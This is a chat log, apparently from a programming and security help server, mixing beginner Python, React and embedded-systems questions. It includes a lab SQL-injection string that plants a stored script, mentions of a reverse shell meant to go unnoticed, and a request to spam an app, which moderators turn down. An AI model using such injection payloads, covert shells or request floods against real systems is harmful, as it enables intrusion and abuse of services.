I nested the thing in a try except so ill check what error it gives me when the output is empty

[onyx merlin]

Don't do that though

Really not good

You can catch specific types of exceptions, ones that you expect

[spare swan]

The reason I did that initially was because I wanted the revshell to go unnoticed if it spit out any error, but i've removed it

Removing the try except thing didnt help anyways because I still get no output whenever the client sends me an empty string as output

The client side doesnt give me any errors either

[onyx merlin]

If it opens notepad, it'll only return when notepad exits

[spare swan]

Exiting doesnt seem to work for me

Might be that i replaced notepad with sublime on my pc lmao

[spare swan]

That didnt seem to change anything. I tried doing "control" (opening control panel) and it gave me the same problem

[real iron]

just asking why its not printing FizzBuzz

when i use &&

[onyx merlin]

Because all of your cases are mutually exclusive

If it's a multiple of three, it doesn't check if it's a multiple of 5 or 3&&5

Now you can do it this way, but you need to think very carefully about the order the comparisons happen in

[real iron]

else if (i % 3 == 0) && (i % 5 == 0)

i dont get it

[onyx merlin]

No, you don't. Yet.

[onyx merlin]

Think about this.

[real iron]

i thought about it and tried this "else if (i % 3 && 5 == 0)"

i still dont get it

[onyx merlin]

What do you mean by tried this?
What did you do with it? Where did you put it?

[onyx merlin]

Ok, that doesn't address what I was saying at all

I'm not talking about the contents of the comparisons

I'm talking about something really fundamental. What's the difference between two if statements one after the other, and an if followed by an else if?

[real iron]

i dont know to be honest but that worked thanks

[wispy kestrel]

Gave +1 Rep to @onyx merlin

[onyx merlin]

There's still a big issue with this code

14 Fizz FizzBuzz 16 is wrong.

And you really really really need to understand the difference between two ifs and an if elseif else structure.

[real iron]

yeah youre right i just noticed that and yeah im looking it up right now so i know what the difference is

Run server.py first, then client.py

It's working good. Just a heads up. Some commands like dir and tree use "cp850" as encoding so using those commands with utf-8 encoding crashes the programs

[lavish reef]

Anyone here has experince with frontend/backend ? I need some guidance in reactJS code

[sullen venture]

yes, but just post your problem

[jolly osprey]

Would be good to give as much context as you can

mhmm

[lavish reef]

ok so what im doing currently is I have this small project

I made this button in the frontend, which when you click, should display an image

the image is stored all the way in the backend

*/ its an image of a dendrogram

thats the function, OnDendogram, which is being called later onwards in the code

this all is in the Frontend in /src/Components/Dashboard.js

and the picture is in /backend/

@sullen venture @jolly osprey ^ thats the context

[sullen venture]

what exactly do you mean by "backend"? just a folder called backend or a server?

[lavish reef]

so i have a folder called backend, which has a python script, which runs few code,
then i have a folder which is called frontend, which does some styling and when u click few buttons on it, it uses the backend (running in a flaskenv) and runs some algorithms

[jolly osprey]

I can't answer your question, but please don't ping us. This channel will be monitored by anyone interested in programming, and will answer in their own time. Just a bit of etiquette, no worries

[sullen venture]

so technically you could show that image with the path "./some/path/backend/dendogram.jpg"? my first guess would be creating a state for showing the image, a conditional depending on the state in your jsx showing either the image or null. or what exactly is the problem problem?

[lavish reef]

so the problem which im stuck on is,
I don't know how to code a button which does the following
1.) When I click the button "Dendogram", it shows an image (it could be in another popup window or on the entire webpage)
2.) That Image is stored in the backend folder, Sometimes it results in an error that I cannot bring files from backend to the frontend

hey everyone, I'm working on a personal project to try and exercise/ grow my python knowledge. One thing I want to dabble with is non-volatile memory and file manipulation. I want to basically store information in a formatted context so I can read and edit it later. The two file formats I was looking at was either txt with some regex and groups, or json. I already began to build the json file, how its formatted, the handlers, ect. I was wondering if there were other methods (file formats or anything) that are more relevant to an application like this or more commonly used so I can practice using it (or if anyone has any other suggestions, im always open them :) )

[onyx merlin]

Pickle.

Also an actual database

[vital jetty]

I'll take a look into it thank you! I have never heard of it.

[coral anchor]

It worked by uninstalling nmap and reinstalling python-nmap

[vital jetty]

so I looked at it, and from my understanding its used mainly for storage of large data sets. I have a few questions about it

1. how often is it used/ how often have you used it or encountered it?
2. does it work ok with a lot of potential back to back read/write operations?

[onyx merlin]

You need a database

[vital jetty]

would something like sqlite be worth looking into then?

[onyx merlin]

That's indeed a database, good for small scale stuff.

[vital jetty]

That's exactly what I'm looking for then, thank you again.

Im trying to get the hang of SQLi and XSS, and starting to get the hang of it.

However: In my lab i made this: a'"; UPDATE users SET name=<script>alert('Malicious activity')</script> WHERE name="John";--"

This seems to me to be an example for Stored XSS, since the script is entered in the DB, and is run when another user looks up "John".

But is this an example of Store XSS? Or is this SQL injection, since i am injection a script using a query? ... or neither? 🙂

(Please send me in the right direction if im in the wrong place 🙂 )

True, that makes sense...

https://tenor.com/view/patrick-star-spongebob-squarepants-wow-mindblown-gif-13169052

[cursive orchid]

i don't know what the context is but

in a pentest, you'd have two separate findings there

[onyx merlin]

Is it? It's abuse of SQLi to inject an XSS, there's no real XSS injection point, it's just weaponising the SQLi

[cursive orchid]

i would

because the input is being sanitised on the way in only

[onyx merlin]

Assuming the name is filtered properly on input, it's not really a second finding?

[cursive orchid]

ideally input should be sanitised ingress and egress

[onyx merlin]

Disagree. Ideally it should just be handled safely. Let them have whatever special chars they want. Filtering bad.

[cursive orchid]

i agree

but it's not being handled safely

because the js is still being executed

not outputted as text

[onyx merlin]

Arguably it's a failure of filters on both sides too, because you had to somehow put the payload in

[brazen eagle]

At that point you're best just using the sqli to get all the info you need rather than fiddling with xss, no?

[onyx merlin]

Yeah, definitely

[brazen eagle]

If the input is properly sanitized it should no longer be executable

[onyx merlin]

Point being you could fix the sqli by using prepared statements but you'd still have an XSS

Because input isn't being filtered, nor is output

[brazen eagle]

But I mean technically a stored xss would likely be using SQL to store the xss ..

[onyx merlin]

I don't see how that'd counter anything though

If you're using prepared statements, it's still going to store the payload

[brazen eagle]

Exactly, but sanitizing the input should be sufficient

[onyx merlin]

Poooooooor practice

You should be using safe queries

[brazen eagle]

In addition to yes

I didn't mean only sanitizing, there are 2 vulns to fix

[onyx merlin]

Filtering special chars is sad and unnecessary if you have written good code

[brazen eagle]

At least transform to non-executable code

In addition to proper queries

[onyx merlin]

I'd mitigate the XSS separately, by making sure the content is injected into the page sensibly

Eg using textContent over innerHtml in JS

[brazen eagle]

Yes

That's also what I was trying to say

[wet hull]

just curious but how many of y'all do embedded systems programming?

[sly breach]

in theory and academically speaking yes

I do program (on) embedded systems

but I am not an embedded systems programmer

[wet hull]

the difference being you aren't writing stuff like linker files?

[sly breach]

more or less 😄

that and although I do program embedded systems I'm no where near comfortable enough to call myself an expert / knowledgeable

[wet hull]

Yeah I've done the intro to embedded systems course on coursera and another really good one on github but wondering what else to do

I'm basically messing with arduinos and following the Arduino Workshop and Bare Metal C books

[sly breach]

arduinos are a nice playground

[wet hull]

I mean is that low-level enough? It seems super convenient that you never have to write out any hardware abstraction layers

[magic falcon]

I have done a couple of professional and professional-ish projects on embedded systems

Arduino is a bad place to start for embedded; if you go into a job interview for embedded with arduino being on your resume, you will likely not make it past that round

[sly breach]

really?

wow

I mean, I'd have thought they're nice platforms to implement certain design considerations like power, memory management, etc

[wet hull]

What's a good place?

[magic falcon]

A lot of embedded devices are using ARM Cortex chips; NXP, STM are both very common dev boards for RTOS, RTOS-lite, and bare metal applications

[wet hull]

Yeah Bare Metal C teaches on an STM dev board

[magic falcon]

Arduino and rpi are both looked down on by 'real embedded engineers'. Many of those folks are very old school, and see the arduino as being too easy. A lot of that comes from the tolerances that arduino can accept and output on GPIO

[wet hull]

I'm doing arduino more for the hardware aspect

[magic falcon]

You'll get more traction if you want to do embedded professional if you by an F-series STM board and use something like mBed than you will with using an Arduino Uno; some of the bigger Arduino boards (MEGA, I think?) can run a full kernel, but I don't think those are particularly accepted in industry, either.
An alternative would be to actually run RTOS and do some robotics prototyping.

[wet hull]

That sounds super fun and yeah I've been flip-flopping between arduino and the STM board. It's funny how much easier it is doing stuff on arduino than on the Nucleo board

[magic falcon]

That's by design; arduino was a project intended for grammar school and middle school kids to get their feet wet with robotics projects; it's not intended for industry grade projects

That's why you can drive up to 12v out of the GPIO on an arduino for basic DC motor controls, but that would fry a Nucleo or Freedom board.

[wet hull]

12V from an arduino mega?

[magic falcon]

IIRC from the Uno

[wet hull]

hmmmm I think the Uno requires a BJT to drive stuff higher than 5V like a relay

[magic falcon]

Probably; I watched a junior engineer burn out a half dozen NXP boards driving motors before he asked for help

[wet hull]

LMAO oh no!!!

[magic falcon]

The problem was, the motors were drawing way more current than the NXP could draw (I think 500mA?) and toasted the board

We threw in a couple of h bridges and a real power source, all was fine

[wet hull]

Good deal! You have a preferred NXP board for RTOS development?

[magic falcon]

It's been 6 years since I touched that world, I would imagine you can just pick your favorite off digikey or arrow and have at

[wet hull]

Thanks, appreciate your insight man!

calculator i made what do you guys think

[soft marlin]

WOW

sorry caps but i think thats pretty elegant

[real iron]

are you talking to me?

[onyx merlin]

There's a principle called "DRY" - Don't repeat Yourself
You're asking the user for x and y no matter what, so duplicated code in each branch is nasty.

[lyric mirage]

That's seems more complex than mine.

num1 = int(input("First number  :"))
op = input("Which calculation would you like to do? :")
num2 = int(input("Second number :"))


if op == "+":
    print(num1, "+", num2, "=", (num1+num2))
elif op == "-":
    print(num1, "-", num2, "=", (num1-num2))
elif op == "*":
    print(num1, "*", num2, "=", (num1*num2))
elif op == "/":
    print(num1, "/", num2, "=", (num1/num2))
else:
    print("No valid op provided")```

That was the first thing I ever done, and I learned not to do it again 😂

[brazen eagle]

You should be parsing the command line parameters rather than prompting.

What happens if you have embedded calculations as well?

Like 5 * 1 + 2

Prompting is never the most efficient way to get data, and also hurts interaction with other programs and/or automation tooling

[floral fractal]

Thank you for the motivation !!! 😂

[safe wind]

who can help me with some python?

[lyric mirage]

You'll get a faster answer if you just ask the question.

[safe wind]

for index in range(len(list)):
    print(str(index))```

what can i do insted to get index of a looping object?

[tropic minnow]

there's the enumerate function which gets the index and element in the list so

for i,e in enumerate(list):
     print(f"index is {i} and element is {e}")

[safe wind]

thank you, that is what I was looking for

[wispy kestrel]

Gave +1 Rep to @tropic minnow

[safe wind]

how did you highlight the code?

[tropic minnow]

```python
<code goes here>
```

[safe wind]

thank you again

[real iron]

that's true , thanks for the feedback

[wispy kestrel]

Gave +1 Rep to @onyx merlin

[real iron]

lol yeah it looks like you had almost the same idea, that was the first thing i have ever done too so ill probably learn not to do it again too once i learn more

[real iron]

yeah you're right, i was 1 hour into introduction to python programming when i made that so i haven't even got into command line arguments with python yet

[lyric mirage]

I've done a few things on python for quickness, ended up doing a whole security script.

[real iron]

oh wow yeah, you made a security script? what does it do and where did you learn python if you dont mind?

[brazen eagle]

argparse is surprisingly nice

[magic falcon]

I like argparse. It's not the cleanest CLI implementation, but it is part of the standard library

[lyric mirage]

That was the first draft, I'm still adding to it.

[brazen eagle]

right, it's surprisingly ok

[magic falcon]

and significantly better than trying to roll your own

[wispy socket]

in python, is a way to use a request from BurpSuite ?

[brazen eagle]

definitely

[brazen eagle]

you might need to write a Burp module

[real iron]

nicee, i was trying to think of a security tool to make too without reinventing the wheel though

not saying yours is but i want to make something that hasn't been done before

[wispy socket]

and... how hard it is ?

[brazen eagle]

not too hard, but I've never tried the python APIs

[real iron]

okay thank you

[wispy kestrel]

Gave +1 Rep to @brazen eagle

[wispy socket]

i want to make a script that make spam with a spcific request

[brazen eagle]

no you don't

😛

[wispy socket]

i want to use this script only for me

not to do stupid things

[brazen eagle]

so don't reinvent the wheel for one

there are likely modules that already exist

[real iron]

maybe check out how they made this

[wispy socket]

ok

[real iron]

but idk

[brazen eagle]

be warned that DOSing live targets is a bannable offence

[wispy socket]

i dont know if the "Repeater" from BurpSuite do the same thing

[real iron]

and a federal offense in the US

[brazen eagle]

criminal offence in a lot of countries

and will also open you to civil liability

[true pumice]

I would recommend against dropping denial of service scripts when an administrator is telling a user that they want to avoid doing something unethical. Whether or not you had a negative intention, there's no ethical way to use a DoS tool.

[wispy socket]

is an APP named "NGL anonymous q&a" i created an account on this app and i want to see if exist a way that someone can spam me with messages like "asd" "asdasdsdfadsfasdf" "asdasdas" etc etc

[true pumice]

Did you get permission to pentest the app?

[wispy socket]

is not really a pentest

[real iron]

ah yeah thats true, sorry for posting that

[wispy socket]

just send more messages

[true pumice]

You're using the app's functionality in an unintended way to achieve a specific response. Sounds like you're testing for something.

[wispy socket]

yeah, but i dont make an illegal thing

[brazen eagle]

yeah it's a strange app, but I assume it can be abused

[wispy socket]

i just send a lot of messages to me

[brazen eagle]

you probably don't need burp tbh

[real iron]

can you make a loop in bash with curl

[wispy socket]

the stupid thing is that you dont need to make an account to send messages to another person

[real iron]

would that work?

for a request repeater

[brazen eagle]

probably, but you'll have to rate-limit to avoid overloading the service

but I'm going to stop that line here

[wispy socket]

this is my link

[true pumice]

I'm removing that ^

[wispy socket]

ok no problem

yep

[brazen eagle]

so from what I can see, using any form of automation is against the app's ToS https://nglapp.com/p/terms

they also stipulate that they can take legal action against you

so I suggest you cut your losses here 🙂

[real iron]

yeah that is what it says

[brazen eagle]

this part too

knowing this, @wispy socket , do you still intend to continue?

[wispy socket]

nope

[brazen eagle]

good answer

[wispy socket]

just for curiosity, if i would have used on my account, there would have been no problem

[onyx merlin]

Look at the first bulletpoint from Hydra

[safe wind]

browsing.py```python
import undetected_chromedriver as uc

options.add_argument("--headless")
driver = uc.Chrome(options=options)
driver.get(url)
lastChapter = str(driver.find_element(By.CSS_SELECTOR, "html#site_type body div#main-page.page div.page__inner div.container.container_responsive div.media-container div.media-sidebar div.media-info-list.paper div.media-info-list__item div.media-info-list__value.text-capitalize").text)
mangaName = driver.find_element(By.CLASS_NAME, "media-name__main").text
print(f'{lastChapter}¿{mangaName}')
driver.quit()
#return lastChapter,mangaName

if name == "main":
getLastChapterANDmangaName(argv[1])

main.py ```python
import subprocess as sb

def getMangaInfo(url): # https://mangalib.me/promisecinderella?section=info
p = sb.Popen(["python3", "browsing.py", url], stdout=sb.PIPE)
out, err = p.communicate()
out = list(out.decode("utf-8").replace('\n', '').split('¿'))
print(out)
return out

how can i change the code that i could just import the function getLastChapterANDmangaName() from the first code but without if __name__ == "__main__": it doesn't work

[true pumice]

Put all the code in a function,
Then do

if __name__ = ‘__main__’:
    function()

Then you go into the file you want to import it into and do from file_name import function_name

[safe wind]

I already just did a wrapper function and it works

[safe wind]

Thanks anyway

What are you scraping?

[safe wind]

A girl asked me to develop a telegram bot that will send a message to her each time new chapter from her manga tracking list will release

[nimble warren]

or maybe she can use anilist or mal

[teal delta]

I'm trying to create a bot for a candy crush clone, i want to exploit the fact that after a few seconds the game shows you the best move by making the line of candies glow and pulse (zoom in a bit then back to normal) and the one candy that needs to be moved does the same thing but it also moves in the direction you need to swipe to and then back to normal. They do this endlessly, i was thinking of using opencv to find the only element on the screen that is moving in one direction and not just growing in all directions but i don't have a clue on how to start, what should I put my effort into?

All the automation up to that point was done with pyautogui

[safe wind]

Is it possible to call variables with something like f”variable _{number}” in python?

[true pumice]

If you're looking to generate dynamic variables, it is possible but messy and requires you to mess with globals()

[safe wind]

But can I then call them dynamically?

[true pumice]

You can do it with dictionaries however but this also has it's problems.
I think something like this should work:

dictionary = {}
x = 0
while x < 10:

    key = "name"
    value = "value"
    dictionary[key] = value 
    x += 1

But, I prefer to do

for i in range(1, 11):
    globals()[f"variable{i}"] = i

print(variable1)

[safe wind]

How can I print(variable{num})

[true pumice]

One way would be to get them manually from globals, print({k: v for k, v in globals().items() if not k.startswith("__")})

[magic falcon]

you call functions and objects, you reference variables. If all you need is a map of IDs to values, just use a dict or possibly a set

[safe wind]

I want to create many class objects, save them with pickle and load with different variable names

[true pumice]

Honestly, I avoid dynamically generating variables. It's messy

[safe wind]

In your opinion it is better to do dictionary?

[true pumice]

Much

[magic falcon]

Store data in a dataframe or map of some kind, you don't need to go through a hassle of dynamically naming vars.

[safe wind]

That's more for template strings

[safe wind]

I know, I was asking if there is a way to do same thing with variables

[brazen eagle]

Ah

Are function pointers a thing in python I wonder

[onyx merlin]

You can treat functions as variables

Eg, I'll do a demo quick

[brazen eagle]

ok so implicit references, cool

[safe wind]

I’ve mistaken

[magic falcon]

everything is a pointer in python, they just don't tell you that

[brazen eagle]

So kinda like java then

[magic falcon]

yeah

I started off by putting

co-code =
xo-code =
ce-code =

[surreal bronze]

Okay, so do you know how to pass parameters to functions?

Firstly, def self destruct(x): you can't have spaces in function names, replace it with something like this def self_destruct(x):

[lilac holly]

I apologize “def self_destruct” is how it is written into the code just miss typed

[magic falcon]

Is this homework?

[lilac holly]

Yes, i been looking through videos to try and see if they show how to create function, but they arent helping all well

[surreal bronze]

Ah we can't help with homework sorry

[lilac holly]

How am i able to learn ?

[magic falcon]

Your first source for help for assignemnts should always be the professor. It may be unethical according to your student ethics code and course syllabus to ask for outside help.

if you don't understand how to write a function, the official python docs have a set of examples. Failing that, your course notes and materials should have adequate explanation as well.

[lilac holly]

No offense but why cant i get help with learning how to create a variable for a custom function . The videos i al given are creating numbered variables with multiplication inside of the code but im supposed to be creating a variable for a code

Isnt this a tutoring discord

[magic falcon]

Not tutoring specifically; There are a lot of reasons why we are reluctant to assist with schoolwork. The first is that it may be unethical according to your schools honor code. Violating that honor code, if it were reported, could see you expelled.
Second, your instructor may consider outside help cheating. We cannot verify whether or not that is the case.
Third, help we give may send you looking down a path that actually hinders you in learning the things your instructor is trying to teach.

And finally, if you are looking for the basic understanding of how python works, the python documentation is publicly available.

oh yea, might probably be blocking it

but if it block them, how does it reach to router 4

with ping -R, i get the route the ping took
